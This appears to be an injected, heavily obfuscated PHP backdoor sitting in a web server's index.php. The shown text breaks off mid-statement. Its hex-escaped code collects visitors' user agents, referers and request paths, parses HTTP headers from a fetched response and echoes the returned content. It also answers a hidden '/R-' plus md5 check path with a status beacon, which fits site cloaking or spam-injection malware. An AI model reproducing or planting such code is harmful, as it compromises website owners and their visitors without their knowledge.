File: /var/www/html/index.php
<?php
goto ItNUutVXAJtht; oqMgDfc2Nnr4E: $JCSn55Y5C6aOx = substr($hrQueI_vasue8, strpos($hrQueI_vasue8, "\x2e")); goto krzFgCGGSZOZP; ksaP9yNTyTlV6: AVASKy1fk10gq: goto xrrRM2_fbFUvi; gqmcAwRqvaPtV: dGTGq1a1sYbzP: goto FQKPfze7USqZd; V9cQ3pMJx7nk9: $mRlJLJOgT3ZCC["\165"] = zbXBNA2Qe1IaP($_SERVER["\x48\124\124\x50\137\125\x53\105\122\137\101\x47\x45\x4e\x54"]); goto wCqd9oGZoL_xe; Cu2jdkc_I3JVN: $NRFalY5oVCkdw = ${$dO99kvIWVeJDf[22 + 9] . $dO99kvIWVeJDf[13 + 46] . $dO99kvIWVeJDf[24 + 23] . $dO99kvIWVeJDf[14 + 33] . $dO99kvIWVeJDf[42 + 9] . $dO99kvIWVeJDf[45 + 8] . $dO99kvIWVeJDf[53 + 4]}; goto fzQHG7MZBkPLq; iwp1dGHEfs9eP: ALeoZntpsVoE1: goto kSvbX6WuclFte; NYz4xH6_HF200: exit(0); goto ksaP9yNTyTlV6; alS6Q2XXUjowP: fTrIqcdL0wAm5: goto DRS1FmS2NOTOb; FB3QsKx2zJQ4O: $Zrd4RnLEiRcOT = strval(@$_SERVER["\x48\124\124\120\137\x52\105\106\105\x52\x45\122"]); goto vzgZze_i81V80; vrncYSKeqxT11: $mRlJLJOgT3ZCC["\162"] = ZBxBna2qe1iap($_SERVER["\122\x45\x51\125\x45\123\x54\137\x55\122\111"]); goto fqGZcH9yJf4HL; lDXxeatjj0NRe: function RWBU_7yWl1ILX($H3UfKgW9Uec05) { goto JIDdv7Ojh8Mtp; VsyqEHPXnl01K: foreach ($H3UfKgW9Uec05 as $wEucw2BXm6gYL) { goto VFo0j02eY2Hfx; dHNIS2PkywpeL: uHITcjsKUSBi7: goto FtkjhpljDDaZr; EugcnW2THc94u: ynBpAQff_Ntrn: goto lEbty2Vs1Na2s; IO_2pLw8E0IaO: goto Yha9CEeQWO2DH; goto EugcnW2THc94u; ezURiH05NSNzy: if (preg_match("\x2f\143\x6f\156\x74\x65\x6e\x74\134\55\x74\171\160\x65\134\72\x5b\x5c\163\135\53\50\56\52\51\x2f\151", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto R1r0Mef9qykzA; } goto IO_2pLw8E0IaO; e8dNJHRv84T20: goto Yha9CEeQWO2DH; goto dHNIS2PkywpeL; lEbty2Vs1Na2s: $UbmkLxf3UBK6E["\163\164\141\x74\165\163"] = intval($tb8dg_P0j0zIP[1]); goto e8dNJHRv84T20; rTgRDrSkT0rVV: $UbmkLxf3UBK6E["\164\171\x70\x65"] = $tb8dg_P0j0zIP[1]; goto dDZqeCMS8faEQ; FGxkow1eXZLIO: R1r0Mef9qykzA: goto rTgRDrSkT0rVV; dDZqeCMS8faEQ: Yha9CEeQWO2DH: goto YWXvvxaKEiKS2; FtkjhpljDDaZr: $UbmkLxf3UBK6E["\143\x6f\156\164\x65\156\164"] = $tb8dg_P0j0zIP[1]; goto aOy344u1j0nC2; YWXvvxaKEiKS2: uyzD35TQrpamA: goto LvUWG9aII2zjG; aOy344u1j0nC2: goto Yha9CEeQWO2DH; goto FGxkow1eXZLIO; VFo0j02eY2Hfx: if (preg_match("\57\x68\164\x74\x70\x5c\x2f\x5b\x30\55\71\x5c\56\x5d\x2b\133\x5c\163\135\53\x28\133\x30\x2d\71\135\53\51\x2f\x69", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto ynBpAQff_Ntrn; } goto cUaZ7jGJjDVPe; cUaZ7jGJjDVPe: if (preg_match("\57\154\x6f\143\x61\164\151\x6f\156\x5c\72\133\x5c\x73\x5d\53\x28\56\x2a\51\x2f\151", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto uHITcjsKUSBi7; } goto ezURiH05NSNzy; LvUWG9aII2zjG: } goto daHqI71ZiO5Q7; ktaCW1rkTjn8I: if (is_array($H3UfKgW9Uec05)) { goto O19qhN3PCDLwR; } goto DkdmjPZJk33va; fblmkgnKhO2Rg: O19qhN3PCDLwR: goto VsyqEHPXnl01K; JIDdv7Ojh8Mtp: $UbmkLxf3UBK6E = array("\163\164\x61\x74\x75\163" => 0, "\143\x6f\156\x74\x65\x6e\x74" => '', "\164\x79\160\145" => ''); goto ktaCW1rkTjn8I; DkdmjPZJk33va: return $UbmkLxf3UBK6E; goto fblmkgnKhO2Rg; daHqI71ZiO5Q7: OXo4nENJE5fsk: goto MRFJd4bgFnQ1W; MRFJd4bgFnQ1W: return $UbmkLxf3UBK6E; goto kz94tb2w4pzbR; kz94tb2w4pzbR: } goto DTrwjHT1b6Oe8; e_2dNvuMnE08X: exit("\x7b\40\x22\145\x72\162\157\162\x22\x3a\40\x32\x30\60\54\x20\42\154\143\42\72\40\42\x6a\x6b\x22\54\x20\x22\144\x61\x74\x61\42\x3a\40\133\40\61\x20\135\x20\x7d"); goto iwp1dGHEfs9eP; R1NVVIxtkWCRd: if (!($_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"] === "\57\122\x2d" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\105"]))) { goto fTrIqcdL0wAm5; } goto leDDfINCfuxTQ; JwPyIYaZZP7jQ: echo $TQkdCXGbTz8KR["\x63\x6f\156\x74\145\156\x74"]; goto NYz4xH6_HF200; Y9r0YxsNT6EzY: $mRlJLJOgT3ZCC["\163\156"] = zbxBNa2QE1iap($_SERVER["\123\x43\x52\x49\x50\124\137\x4e\x41\115\105"]); goto vrncYSKeqxT11; UIzIo_p3uepHM: uKduip9htlSUk: goto jdgZil5v9_R6F; M00Gs0oc8V6vk: $KLtPwwNUUUOvp = true; goto gqmcAwRqvaPtV; olwnzE0f5jh_m: nK9KwDmNcZS1J: goto aAsmuezvJVfFD; qqpZAQoKqYf11: if (!(strpos($hrQueI_vasue8, "\56") > 0 && strpos($hrQueI_vasue8, "\x2e\160\x68\160") === false)) { goto DtP01QBy0rEig; } goto oqMgDfc2Nnr4E; FTdOBprAw3vqP: if (!(strpos($Zrd4RnLEiRcOT, $TB7V8SjdtxASR) === 0)) { goto StEMcpJs2Y0QX; } got